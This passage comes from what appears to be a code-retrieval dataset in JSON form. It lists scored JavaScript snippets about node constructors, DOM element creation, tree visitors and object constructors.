new ALVNode();\n }", "title": "" }, { "docid": "832b30ef76eef7831db7c2174fceae0b", "score": "0.46680048", "text": "visit(node) {\n switch (node.type) {\n case \"Alternative\":\n this.visitAlternative(node);\n break;\n case \"Assertion\":\n this.visitAssertion(node);\n break;\n case \"Backreference\":\n this.visitBackreference(node);\n break;\n case \"CapturingGroup\":\n this.visitCapturingGroup(node);\n break;\n case \"Character\":\n this.visitCharacter(node);\n break;\n case \"CharacterClass\":\n this.visitCharacterClass(node);\n break;\n case \"CharacterClassRange\":\n this.visitCharacterClassRange(node);\n break;\n case \"CharacterSet\":\n this.visitCharacterSet(node);\n break;\n case \"Flags\":\n this.visitFlags(node);\n break;\n case \"Group\":\n this.visitGroup(node);\n break;\n case \"Pattern\":\n this.visitPattern(node);\n break;\n case \"Quantifier\":\n this.visitQuantifier(node);\n break;\n case \"RegExpLiteral\":\n this.visitRegExpLiteral(node);\n break;\n default:\n throw new Error(`Unknown type: ${node.type}`);\n }\n }", "title": "" }, { "docid": "7791d50136559022619f24ecbb4bd200", "score": "0.4657326", "text": "createNodesProvider(filter) {\n return this.callFactoryMethod(null, 'createNodesProvider', HeapSnapshotProviderProxy, filter);\n }", "title": "" }, { "docid": "ba4113e1551528ec8840fe288e8b6793", "score": "0.46481755", "text": "createNode() {\n\t\t\treturn ProxyNode(url, Math.random().toString(36).substr(2) + Math.random().toString(36).substr(2));\n\t\t}", "title": "" }, { "docid": "8559164009f29efaa0a6e8fd9c083e12", "score": "0.46473846", "text": "function createNode() {\n var node = document.createElement('div');\n var search = document.createElement('div');\n var wrapper = document.createElement('div');\n var input = document.createElement('input');\n var content = document.createElement('ul');\n search.className = 'p-CommandPalette-search';\n wrapper.className = 'p-CommandPalette-wrapper';\n input.className = 'p-CommandPalette-input';\n content.className = 'p-CommandPalette-content';\n input.spellcheck = false;\n wrapper.appendChild(input);\n search.appendChild(wrapper);\n node.appendChild(search);\n node.appendChild(content);\n return node;\n }", "title": "" }, { "docid": "ae67e863527555e6a530a0960e2607bf", "score": "0.46350315", "text": "function VNode(tag, data, children, text, elm, context, componentOptions, asyncFactory) {\n _classCallCheck(this, VNode);\n\n this.tag = tag;\n this.data = data;\n this.children = children;\n this.text = text;\n this.elm = elm;\n this.ns = undefined;\n this.context = context;\n this.fnContext = undefined;\n this.fnOptions = undefined;\n this.fnScopeId = undefined;\n this.key = data && data.key;\n this.componentOptions = componentOptions;\n this.componentInstance = undefined;\n this.parent = undefined;\n this.raw = false;\n this.isStatic = false;\n this.isRootInsert = true;\n this.isComment = false;\n this.isCloned = false;\n this.isOnce = false;\n this.asyncFactory = asyncFactory;\n this.asyncMeta = undefined;\n this.isAsyncPlaceholder = false;\n }", "title": "" }, { "docid": "f8bf81847f95ba353e6a166e350a963e", "score": "0.46309838", "text": "function _createNode(x) {\n return {\n value : x,\n next : null\n };\n }", "title": "" }, { "docid": "7ae8f5ed70bfb20a4f5171e410b1d18c", "score": "0.4623989", "text": "function newview(node, args) {\n\t\t\tvar tag = node.tagName;\n\t\t\tvar view = node;\n\n//\t\t\tconsole.log(tag, node.nodeType);\n\t\t\t\n\t\t\tif (jo.tagMap[tag]) {\n\t\t\t\tif (args instanceof Array && args.length) {\n\t\t\t\t\tif (args.length == 1)\n\t\t\t\t\t\targs = args[0];\n\t\t\t\t}\n\n\t\t\t\tif (args instanceof Text)\n\t\t\t\t\targs = node.nodeData;\n\t\t\t\t\n\t\t\t\tif (!args)\n\t\t\t\t\targs = node.value || node.checked || node.innerText || node.innerHTML;\n\n//\t\t\t\tconsole.log(args);\n\t\t\t\t\n\t\t\t\tjoView.setContainer = function() {\n\t\t\t\t\tthis.container = node;\n\n\t\t\t\t\treturn this;\n\t\t\t\t};\n\t\t\t\t\n\t\t\t\tvar o;\n\t\t\t\t\n\t\t\t\tif (typeof jo.tagMap[tag] === \"function\") {\n\t\t\t\t\to = jo.tagMap[tag];\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tvar t = node.type || node.getAttribute(\"type\");\n\t\t\t\t\to = jo.tagMap[tag][t];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (typeof o === \"function\")\n\t\t\t\t\tview = new o(args);\n\t\t\t\telse\n\t\t\t\t\tjoLog(\"joInterface can't process \", tag, \"'type' attribute?\");\n\t\t\t}\n\t\t\t\n\t\t\t// keep track of named controls\n\t\t\tif (node.id)\n\t\t\t\tui[node.id] = view;\n\t\t\t\t\n\t\t\treturn view;\n\t\t}", "title": "" }, { "docid": "ff91b5fe5661dbf14c8e33fa8536f57f", "score": "0.46160915", "text": "function classElementVisitor(node) {\n return saveStateAndInvoke(node, classElementVisitorWorker);\n }", "title": "" }, { "docid": "ff91b5fe5661dbf14c8e33fa8536f57f", "score": "0.46160915", "text": "function classElementVisitor(node) {\n return saveStateAndInvoke(node, classElementVisitorWorker);\n }", "title": "" }, { "docid": "81d9ebb09fb6a1ec0d264005ae69d273", "score": "0.46132863", "text": "function visit$1(node, fn) {\n if (!node.visited) {\n defineProperty$6(node, 'visited', true);\n return node.nodes ? mapVisit$1(node.nodes, fn) : fn(node);\n }\n return node;\n}", "title": "" }, { "docid": "37cd17251b1d9f05e16c7d88509096f6", "score": "0.46108976", "text": "function Node(data) {\n this.data = data;\n this.children = [];\n}", "title": "" }, { "docid": "b6e5aac4edb901051e7bfa7054e8f2b5", "score": "0.46087748", "text": "function Node(opts) {\n this.after = opts.after;\n this.before = opts.before;\n this.type = opts.type;\n this.value = opts.value;\n this.sourceIndex = opts.sourceIndex;\n}", "title": "" }, { "docid": "b6e5aac4edb901051e7bfa7054e8f2b5", "score": "0.46087748", "text": "function Node(opts) {\n this.after = opts.after;\n this.before = opts.before;\n this.type = opts.type;\n this.value = opts.value;\n this.sourceIndex = opts.sourceIndex;\n}", "title": "" }, { "docid": "7835fef70145aa8ede6317c1c8d5e27e", "score": "0.46081537", "text": "function createNode() {\n var node = document.createElement('div');\n var search = document.createElement('div');\n var wrapper = document.createElement('div');\n var input = document.createElement('input');\n var content = document.createElement('ul');\n var clear = document.createElement('button');\n search.className = 'lm-CommandPalette-search';\n wrapper.className = 'lm-CommandPalette-wrapper';\n input.className = 'lm-CommandPalette-input';\n clear.className = 'lm-close-icon';\n content.className = 'lm-CommandPalette-content';\n /* <DEPRECATED> */\n search.classList.add('p-CommandPalette-search');\n wrapper.classList.add('p-CommandPalette-wrapper');\n input.classList.add('p-CommandPalette-input');\n content.classList.add('p-CommandPalette-content');\n /* </DEPRECATED> */\n input.spellcheck = false;\n wrapper.appendChild(input);\n wrapper.appendChild(clear);\n search.appendChild(wrapper);\n node.appendChild(search);\n node.appendChild(content);\n return node;\n }", "title": "" }, { "docid": "c2c56e35484bea948d264199622563b5", "score": "0.46049446", "text": "function createBaseNodeFactory() {\n // tslint:disable variable-name\n var NodeConstructor;\n var TokenConstructor;\n var IdentifierConstructor;\n var PrivateIdentifierConstructor;\n var SourceFileConstructor;\n // tslint:enable variable-name\n return {\n createBaseSourceFileNode: createBaseSourceFileNode,\n createBaseIdentifierNode: createBaseIdentifierNode,\n createBasePrivateIdentifierNode: createBasePrivateIdentifierNode,\n createBaseTokenNode: createBaseTokenNode,\n createBaseNode: createBaseNode\n };\n function createBaseSourceFileNode(kind) {\n return new (SourceFileConstructor || (SourceFileConstructor = ts.objectAllocator.getSourceFileConstructor()))(kind, /*pos*/ -1, /*end*/ -1);\n }\n function createBaseIdentifierNode(kind) {\n return new (IdentifierConstructor || (IdentifierConstructor = ts.objectAllocator.getIdentifierConstructor()))(kind, /*pos*/ -1, /*end*/ -1);\n }\n function createBasePrivateIdentifierNode(kind) {\n return new (PrivateIdentifierConstructor || (PrivateIdentifierConstructor = ts.objectAllocator.getPrivateIdentifierConstructor()))(kind, /*pos*/ -1, /*end*/ -1);\n }\n function createBaseTokenNode(kind) {\n return new (TokenConstructor || (TokenConstructor = ts.objectAllocator.getTokenConstructor()))(kind, /*pos*/ -1, /*end*/ -1);\n }\n function createBaseNode(kind) {\n return new (NodeConstructor || (NodeConstructor = ts.objectAllocator.getNodeConstructor()))(kind, /*pos*/ -1, /*end*/ -1);\n }\n }", "title": "" }, { "docid": "de7191967a323392f704e81b3cf333cd", "score": "0.45971233", "text": "function visit(node, fn) {\n if (!node.visited) {\n define(node, 'visited', true);\n return node.nodes ? mapVisit(node.nodes, fn) : fn(node);\n }\n return node;\n}", "title": "" }, { "docid": "54711da19195604bb50cbe676cdb94e4", "score": "0.45966935", "text": "function Tree() {}", "title": "" }, { "docid": "54711da19195604bb50cbe676cdb94e4", "score": "0.45966935", "text": "function Tree() {}", "title": "" }, { "docid": "86d6dae85e5b50fec9049f2b8e84f20c", "score": "0.45946681", "text": "function createNode() {\n const node = document.createElement('div');\n const label = document.createElement('label');\n const input = document.createElement('input');\n const text = document.createElement('span');\n const warning = document.createElement('div');\n node.className = 'jp-RedirectForm';\n warning.className = 'jp-RedirectForm-warning';\n label.appendChild(text);\n label.appendChild(input);\n node.appendChild(label);\n node.appendChild(warning);\n return node;\n }", "title": "" }, { "docid": "101d6dd0aea9596e62d060e51f168a2c", "score": "0.45920992", "text": "function Node() {\n EventTarget.call(this);\n this.parentNode = null;\n this._nextSibling = this._previousSibling = this;\n this._index = undefined;\n}", "title": "" }, { "docid": "101d6dd0aea9596e62d060e51f168a2c", "score": "0.45920992", "text": "function Node() {\n EventTarget.call(this);\n this.parentNode = null;\n this._nextSibling = this._previousSibling = this;\n this._index = undefined;\n}", "title": "" }, { "docid": "16c48a5692c768d26ebf96d4efa508c0", "score": "0.4590025", "text": "constructor(node) {\n this.node = node;\n this.el = document.createElement('div');\n this.el.className = 'nodetext';\n this.node.el.appendChild(this.el);\n }", "title": "" }, { "docid": "b8e1207ea96b3bf201785e4e7616755d", "score": "0.4574062", "text": "function Node(t, init) {\n var token = t.token;\n if (token) {\n // If init.type exists it will override token.type.\n this.type = token.type;\n this.value = token.value;\n this.lineno = token.lineno;\n\n // Start and end are file positions for error handling.\n this.start = token.start;\n this.end = token.end;\n } else {\n this.lineno = t.lineno;\n }\n\n // Node uses a tokenizer for debugging (getSource, filename getter).\n this.tokenizer = t;\n this.children = [];\n\n for (var prop in init)\n this[prop] = init[prop];\n }", "title": "" }, { "docid": "b8e1207ea96b3bf201785e4e7616755d", "score": "0.4574062", "text": "function Node(t, init) {\n var token = t.token;\n if (token) {\n // If init.type exists it will override token.type.\n this.type = token.type;\n this.value = token.value;\n this.lineno = token.lineno;\n\n // Start and end are file positions for error handling.\n this.start = token.start;\n this.end = token.end;\n } else {\n this.lineno = t.lineno;\n }\n\n // Node uses a tokenizer for debugging (getSource, filename getter).\n this.tokenizer = t;\n this.children = [];\n\n for (var prop in init)\n this[prop] = init[prop];\n }", "title": "" }, { "docid": "62719d89d7b571db424fb4ddd3e20331", "score": "0.45733514", "text": "function visit(node, fn) {\n if (!node.visited) {\n defineProperty$6(node, 'visited', true);\n return node.nodes ? mapVisit$1(node.nodes, fn) : fn(node);\n }\n return node;\n}", "title": "" }, { "docid": "b93a77965ccc785b3677f84bcc698ba0", "score": "0.45709226", "text": "function makeNode (type = 'div') {\n return document.createElement(type)\n}", "title": "" }, { "docid": "a24e5168c482b673ababdba7b5748a0f", "score": "0.45629746", "text": "function Visitor() {\n types.PathVisitor.call(this);\n}", "title": "" }, { "docid": "7943e9a37c2df1a349f8c50a568d33d4", "score": "0.45601162", "text": "function VNode(tag, data, children, text, elm, context, componentOptions, asyncFactory) {\n babel_runtime_helpers_classCallCheck__WEBPACK_IMPORTED_MODULE_0___default()(this, VNode);\n\n this.tag = tag;\n this.data = data;\n this.children = children;\n this.text = text;\n this.elm = elm;\n this.ns = undefined;\n this.context = context;\n this.fnContext = undefined;\n this.fnOptions = undefined;\n this.fnScopeId = undefined;\n this.key = data && data.key;\n this.componentOptions = componentOptions;\n this.componentInstance = undefined;\n this.parent = undefined;\n this.raw = false;\n this.isStatic = false;\n this.isRootInsert = true;\n this.isComment = false;\n this.isCloned = false;\n this.isOnce = false;\n this.asyncFactory = asyncFactory;\n this.asyncMeta = undefined;\n this.isAsyncPlaceholder = false;\n }", "title": "" }, { "docid": "0b7d83f69b80661df903e5f08886fcc7", "score": "0.4554072", "text": "function $makeNode(tag, className, attrs, children) {\n /* Allow omitting parameters */\n if (Array.isArray(className)) {\n if (! attrs && ! children) {\n children = className;\n attrs = null;\n className = null;\n }\n } else if (typeof className == \"object\" && className != null) {\n if (! children) {\n children = attrs;\n attrs = className;\n className = null;\n }\n } else if (Array.isArray(attrs) || typeof attrs == \"string\") {\n if (! children) {\n children = attrs;\n attrs = null;\n }\n }\n /* Create node */\n var ret = document.createElement(tag);\n /* Set classes */\n if (className) ret.className = className;\n /* Set additional attributes */\n if (attrs) {\n for (var name in attrs) {\n if (! attrs.hasOwnProperty(name)) continue;\n ret.setAttribute(name, attrs[name]);\n }\n }\n /* Add children */\n if (children) {\n if (typeof children == \"string\") children = [children];\n for (var i = 0; i < children.length; i++) {\n var e = children[i];\n if (! e) {\n /* Allow conditional node omission */\n } else if (typeof e == \"string\") {\n /* Strings become text nodes */\n ret.appendChild(document.createTextNode(e));\n } else if (typeof e != \"object\") {\n /* Other primitive types are not allowed */\n throw new Error(\"Bad child encountered during DOM node creation\");\n } else if (Array.isArray(e)) {\n /* Arrays are handled recursively */\n ret.appendChild($makeNode.apply(null, e));\n } else {\n /* Everything else is assumed to be a DOM node */\n ret.appendChild(e);\n }\n }\n }\n return ret;\n}", "title": "" }, { "docid": "6307f0735f18034f2028e28f920445fd", "score": "0.45537397", "text": "function Node(type,data){\n this.type = type;\n this.data = data;\n this.children = [];\n}", "title": "" }, { "docid": "b955b670d0295fa5958a505496d87701", "score": "0.45430088", "text": "function createTNode(tagName, attrs, data) {\n return {\n flags: 0,\n tagName: tagName,\n attrs: attrs,\n localNames: null,\n initialInputs: undefined,\n inputs: undefined,\n outputs: undefined,\n data: data\n };\n}", "title": "" }, { "docid": "ac3ddabd0362012bff0ba22da2bdc683", "score": "0.45375183", "text": "addVisitor(visitor) {\n this.visitors.push(visitor);\n }", "title": "" }, { "docid": "06d71cc8f68a759892c265dec9d186c5", "score": "0.45374158", "text": "function create(container, dispatch) {\n\t var options = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];\n\t\n\t var oldVnode = null;\n\t var node = null;\n\t var rootId = options.id || '0';\n\t\n\t if (container && container.childNodes.length > 0) {\n\t container.innerHTML = '';\n\t }\n\t\n\t var update = function update(newVnode, context) {\n\t var changes = (0, _diff.diffNode)(oldVnode, newVnode, rootId);\n\t node = changes.reduce(dom.update(dispatch, context), node);\n\t oldVnode = newVnode;\n\t return node;\n\t };\n\t\n\t var create = function create(vnode, context) {\n\t node = dom.create(vnode, rootId, dispatch, context);\n\t if (container) container.appendChild(node);\n\t oldVnode = vnode;\n\t return node;\n\t };\n\t\n\t return function (vnode) {\n\t var context = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\t\n\t return node !== null ? update(vnode, context) : create(vnode, context);\n\t };\n\t}", "title": "" }, { "docid": "24df335a44398d3c16c58dd6611e4ad5", "score": "0.4536389", "text": "function Node(name, attributes = {}, body = '', children = []) {\n this.name = name;\n this.attributes = attributes;\n this.body = body;\n this.children = children;\n}", "title": "" }, { "docid": "b7f30259b9a09bcbd65c6dab70d3504b", "score": "0.45353693", "text": "function getNewNode(name, title, type) {\n return {\n name: name,\n title: title,\n type: type,\n children: [],\n _children: []\n };\n}", "title": "" }, { "docid": "674bda589ccdbeb6baa99c747154a785", "score": "0.45194948", "text": "function visitNode(node, visitors) {\n const recurse = childNode => visitNode(childNode, visitors);\n let visitedNode = null;\n\n // Registered visitors might serialise a node.\n // If they do, it's their responsibility to also serialise all the child\n // nodes.\n // If they don't, they return falsey and we pass it to the default visitor to\n // handle.\n switch (node.object) {\n case 'document': {\n visitedNode = visitors.visitDocument(node, recurse);\n break;\n }\n case 'block': {\n visitedNode = visitors.visitBlock(node, recurse);\n break;\n }\n case 'inline': {\n visitedNode = visitors.visitInline(node, recurse);\n break;\n }\n case 'text': {\n visitedNode = visitors.visitText(node, recurse);\n break;\n }\n default: {\n throw new Error(`Encountered unknown type '${node.object}' in Slate document`);\n }\n }\n\n // The node (and children) weren't serialised, so we'll use the default JSON\n // for this node, and recurse onto the child nodes.\n if (!visitedNode) {\n visitedNode = visitors.defaultVisitor(node, recurse);\n }\n\n return visitedNode;\n}", "title": "" }, { "docid": "f43f20eabce4e5507c138ded244a9d45", "score": "0.45172903", "text": "function get() {\n return node || create();\n }", "title": "" }, { "docid": "9cfb4f5f2cac2ee3828ffaae801043e1", "score": "0.45158458", "text": "function Node(type) {\n this.ty\n}", "title": "" } ]
6a6261de05b9a873e39127fa646ea7fe
common options: NA this will be invoked like a constructor, but really returns the reference below.
[ { "docid": "f9fa82b2cc4f9044f401eac3a3adc985", "score": "0.0", "text": "function ConsoleStream(opts){\n process.stdin.resume()\n process.stdin.setEncoding('utf8')\n return process.stdin\n}", "title": "" } ]
[ { "docid": "22495c668e66b783acc5d3fd2919d29d", "score": "0.6674986", "text": "__previnit(){}", "title": "" }, { "docid": "35ba9e798ee3936a88ee952d284b29d1", "score": "0.6506542", "text": "constructur() {}", "title": "" }, { "docid": "e7f1c808c39e17a6afc0135c10b63733", "score": "0.6390231", "text": "Constructor(args, returns, options = {}) {\r\n return { ...options, kind: exports.ConstructorKind, type: 'constructor', arguments: args, returns };\r\n }", "title": "" }, { "docid": "ca4e1c575b8b565d5501942f7de14d27", "score": "0.6380148", "text": "constructor() {\n copy(this, create());\n }", "title": "" }, { "docid": "a64990ad88a2f4f41d21d275c154d1ee", "score": "0.6348045", "text": "function HelperConstructor() {}", "title": "" }, { "docid": "3a0df0814032bf6fe65ab66f00f794d1", "score": "0.63411176", "text": "function tempCtor() {}", "title": "" }, { "docid": "a9b667b57800707d45261cd632561036", "score": "0.6325045", "text": "_copy () {\n return new this.constructor()\n }", "title": "" }, { "docid": "a9b667b57800707d45261cd632561036", "score": "0.6325045", "text": "_copy () {\n return new this.constructor()\n }", "title": "" }, { "docid": "57eb0dae55206821eb04e46a89693c11", "score": "0.62854433", "text": "function TempCtor() {}", "title": "" }, { "docid": "57eb0dae55206821eb04e46a89693c11", "score": "0.62854433", "text": "function TempCtor() {}", "title": "" }, { "docid": "57eb0dae55206821eb04e46a89693c11", "score": "0.62854433", "text": "function TempCtor() {}", "title": "" }, { "docid": "57eb0dae55206821eb04e46a89693c11", "score": "0.62854433", "text": "function TempCtor() {}", "title": "" }, { "docid": "57eb0dae55206821eb04e46a89693c11", "score": "0.62854433", "text": "function TempCtor() {}", "title": "" }, { "docid": "57eb0dae55206821eb04e46a89693c11", "score": "0.62854433", "text": "function TempCtor() {}", "title": "" }, { "docid": "d5b8e6572be5a5be03fb90b50b3f5c37", "score": "0.62419045", "text": "constructor (options) {\n _.assign(this, options)\n }", "title": "" }, { "docid": "4213fcb81bc82605c0f46cee3de16448", "score": "0.6225928", "text": "function obj() { return this; }", "title": "" }, { "docid": "0ea44d55f7d6fd1d3628b360ed672012", "score": "0.62223005", "text": "static initialize(obj, ref) { \n obj['ref'] = ref;\n }", "title": "" }, { "docid": "df3f17f3c8f05a123d29c1e500a12324", "score": "0.6148068", "text": "_defaultConstructor() {\r\n this.settings = new Settings();\r\n this.callbackFunction = null;\r\n this.timeTicker = 0;\r\n return this;\r\n }", "title": "" }, { "docid": "226a968ca25eab024b33e8e5f37aa9a9", "score": "0.61475307", "text": "init () {\n\t\treturn null;\n\t}", "title": "" }, { "docid": "4afee93d45515f28f6e4ce6c2d544ee4", "score": "0.6146609", "text": "function Ctor() {}", "title": "" }, { "docid": "dbcef4c4b034c034cb3795bd5fa67385", "score": "0.61367387", "text": "constructor(opts) {\n this.init(opts || {});\n }", "title": "" }, { "docid": "a83ff92b50a3008f1bc609abd16e0470", "score": "0.61137736", "text": "function N(){return N.__super__.constructor.apply(this,arguments)}", "title": "" }, { "docid": "0ed778c92d09b7e19119b756eabcb307", "score": "0.6104012", "text": "function temporaryConstructor() {}", "title": "" }, { "docid": "27b31e37ea24804e90748b2443b9e912", "score": "0.6103636", "text": "initializeInstance(options) {}", "title": "" }, { "docid": "f7c71079e81c3353ce1f79449166bb1d", "score": "0.607056", "text": "function Constructor() {}", "title": "" }, { "docid": "f7c71079e81c3353ce1f79449166bb1d", "score": "0.607056", "text": "function Constructor() {}", "title": "" }, { "docid": "f7c71079e81c3353ce1f79449166bb1d", "score": "0.607056", "text": "function Constructor() {}", "title": "" }, { "docid": "5d87c8b08407028813c8d2c74c76241d", "score": "0.60497105", "text": "copy()\n\t{\n\t\treturn this.constructor.createNewInstance(this);\n\t}", "title": "" }, { "docid": "d81a281bf79205671ecc668e303c3811", "score": "0.60467875", "text": "constructor(address_of_reference) {\n this.address_of_reference = address_of_reference;\n }", "title": "" }, { "docid": "84b6abbb3b26b3c5e8b13cd992e17cbd", "score": "0.60308886", "text": "function construct() { }", "title": "" }, { "docid": "d70a588c9c8603d0d6763381e733fdbd", "score": "0.6029603", "text": "constructor( ) {}", "title": "" }, { "docid": "d2c6ce3597960c867f7fec31ce902789", "score": "0.6025461", "text": "function _construct()\n\t\t{;\n\t\t}", "title": "" }, { "docid": "b8d192759f9029d682a36e9284edbffb", "score": "0.6011335", "text": "newInstance() {\r\n\t\t\t\t\tvar base, ref1;\r\n\t\t\t\t\tbase = ((ref1 = this.variable) != null ? ref1.base : void 0) || this.variable;\r\n\t\t\t\t\tif (base instanceof Call && !base.isNew) {\r\n\t\t\t\t\t\tbase.newInstance();\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tthis.isNew = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tthis.needsUpdatedStartLocation = true;\r\n\t\t\t\t\treturn this;\r\n\t\t\t\t}", "title": "" }, { "docid": "819e5277a4b7f4d05f164fcd46a1db18", "score": "0.59985405", "text": "function Ci(a){this.o=a}", "title": "" }, { "docid": "e679314db7dd8a46fa92d9b7978c07d9", "score": "0.5982801", "text": "constructor(options) {\n super();\n this._init(options);\n }", "title": "" }, { "docid": "46ad0e9c0169fdafde1e0a97e522b1d4", "score": "0.5981546", "text": "new() {\n let newInstance = Object.create(this);\n\n newInstance.init(...arguments);\n\n return newInstance;\n }", "title": "" }, { "docid": "a7af7096c1d8f71a1adcfac7fa9b0915", "score": "0.5952688", "text": "constructor(name){\n // if(Person.instance){\n // return Person.instance;\n // }\n // Person.instance = this;\n this.name = name;\n }", "title": "" }, { "docid": "b762ba73dbe0c6e8acc47c8b94fa5559", "score": "0.5941528", "text": "function _ctor() {\n\t}", "title": "" }, { "docid": "1f6bae2e6bb34d5eb0b280d4c5a94005", "score": "0.5936339", "text": "constructor(options) {\n options = options || {};\n options.objectMode = true;\n super(options);\n }", "title": "" }, { "docid": "04844bff8210401877ab5a1b1ae6734b", "score": "0.5925212", "text": "function Class() {\n \n if(!(this instanceof arguments.callee)) {\n //return new arguments.callee(options);\n throw new Error('Please used \"new\" keyword to create object!');\n }\n\n // All construction is actually done in the init method\n if (/* !initializing && */this.init )\n this.init.apply(this, arguments);\n }", "title": "" }, { "docid": "4da117810475b0e9ba413138eafc9f0e", "score": "0.59123003", "text": "constructor (){}", "title": "" }, { "docid": "83403d1ac61ab23ee434acd467e65aa6", "score": "0.58958864", "text": "constructor( options )\n {\n super( options );\n // Do stuff\n }", "title": "" }, { "docid": "f66ee57414255f4244ad5d088c1767f9", "score": "0.5893697", "text": "constructor() {\n\t\t// ...\n\t}", "title": "" }, { "docid": "59be726f4e6f1b720cf92279eb7af43c", "score": "0.58807075", "text": "clone() {\n return new this.constructor(this);\n }", "title": "" }, { "docid": "ceb2a01f1518a7ab187a365c546658fa", "score": "0.58757615", "text": "function o(e,t,n){try{return{type:\"normal\",arg:e.call(t,n)}}catch(e){return{type:\"throw\",arg:e}}}// Dummy constructor functions that we use as the .constructor and", "title": "" }, { "docid": "adaba94a50d2e575756c8e251c8932e5", "score": "0.5871365", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "adaba94a50d2e575756c8e251c8932e5", "score": "0.5871365", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "ffeb3137d0e74f0ee823cfc17ecc5611", "score": "0.5861733", "text": "constructor(options) {\n\t\tthis.options = Object.assign({}, defaultOptions, options)\n\t}", "title": "" }, { "docid": "5866f61476c7e537d83b1eb514a79a1c", "score": "0.5854208", "text": "function NewObj(){}", "title": "" }, { "docid": "24a8f7cc611a2d744f01ea24b389b803", "score": "0.5851071", "text": "function r(e,t,o){try{return{type:\"normal\",arg:e.call(t,o)}}catch(e){return{type:\"throw\",arg:e}}}// Dummy constructor functions that we use as the .constructor and", "title": "" }, { "docid": "a38c321a2ada829c2b940cde7dfe2cbb", "score": "0.5848452", "text": "function createRef() {\n var refObject = {\n current: null,\n };\n\n {\n Object.seal(refObject);\n }\n\n return refObject;\n }", "title": "" }, { "docid": "9c6bbc053d6231854a1023068ee7c74f", "score": "0.58473366", "text": "constructor(opts) {\n super(opts);\n }", "title": "" }, { "docid": "9c6b1be8c5aea759cdfb3537ca519d7b", "score": "0.5832985", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "4d1965cc1b7ebe3e68238f3901ddc701", "score": "0.58213687", "text": "constructor(options={}) {\n super(options);\n }", "title": "" }, { "docid": "d7b23c377a0edb4be63b4aa0c17f7070", "score": "0.57916796", "text": "function NewObj() {}", "title": "" }, { "docid": "a7239ff0bc6dcba8713d05860c60bab3", "score": "0.5785177", "text": "constructor(target, options) {\n super(target, options);\n }", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "586732913259f371782836682c53342e", "score": "0.578439", "text": "constructor() {}", "title": "" }, { "docid": "d3527f99dbd1442c4e9b5abadd070d77", "score": "0.57746047", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "d3527f99dbd1442c4e9b5abadd070d77", "score": "0.57746047", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "d3527f99dbd1442c4e9b5abadd070d77", "score": "0.57746047", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": 